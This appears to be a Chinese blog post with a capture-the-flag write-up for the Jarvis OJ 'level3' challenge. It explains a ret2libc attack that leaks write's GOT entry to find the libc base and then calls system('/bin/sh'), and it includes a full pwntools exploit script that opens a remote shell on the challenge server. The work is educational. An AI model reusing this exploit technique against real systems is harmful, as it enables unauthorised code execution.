• Pwn-level3


    题目地址

    借鉴

    这类的题目类型为ret2libc

     32位的程序,用IDA打开,read函数存在溢出

    程序中没有找到system函数,也没找到/bin/sh,但是给了一个libc-2.19.so,我们需要读取某一个函数 got 表中的地址来计算 libc 的基址,最终计算system和/bin/sh内存地址

    got表和plt表的关系参考

    思路:

    1、让read函数溢出,然后用write函数泄露write函数本身的地址

    2、利用函数在内存中的地址和libc文件中的偏移的差相等,来获取基址,通过基址来获取system和/bin/sh的地址

    3、再次返回vulnerable_funcion函数,进行二次溢出获得shell

    脚本如下

    # -*- coding: UTF-8 -*-
    from pwn import *
    r=remote("pwn2.jarvisoj.com",9879)
    elf=ELF("./level3")
    
    writeplt=elf.plt["write"]
    writegot=elf.got["write"]
    func=elf.symbols["vulnerable_function"]
    
    libc=ELF("./libc-2.19.so")
    writelibc=libc.symbols["write"]
    syslibc=libc.symbols["system"]
    binlibc=libc.search("/bin/sh").next()
    
    payload1='a'*0x88+'aaaa'+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)
    #再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数
    # 1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度
    r.recvuntil("Input:
    ")
    r.sendline(payload1)
    
    writeaddr=u32(r.recv(4))
    
    sysaddr=writeaddr-writelibc+syslibc
    binaddr=writeaddr-writelibc+binlibc
    
    payload2='a'*0x88+'bbbb'+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)
    r.recvuntil("Input:
    ")
    r.sendline(payload2)
    r.interactive()
                 

    执行结果

  • 相关阅读:
    人脸关键点检测之hourglass网络原理
    语义分割deeplabv3原理与流程梳理
    Python通过pycuda使用CUDA扩展
    利用curl去hack他人博客
    关于博主
    题解 P1083 【借教室】
    题解 CF413E 【Maze 2D】
    My Blog访客数
    Ubunut16.04 deb包的安装与卸载
    论Github Desktop
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11684294.html
Copyright © 2020-2023  润新知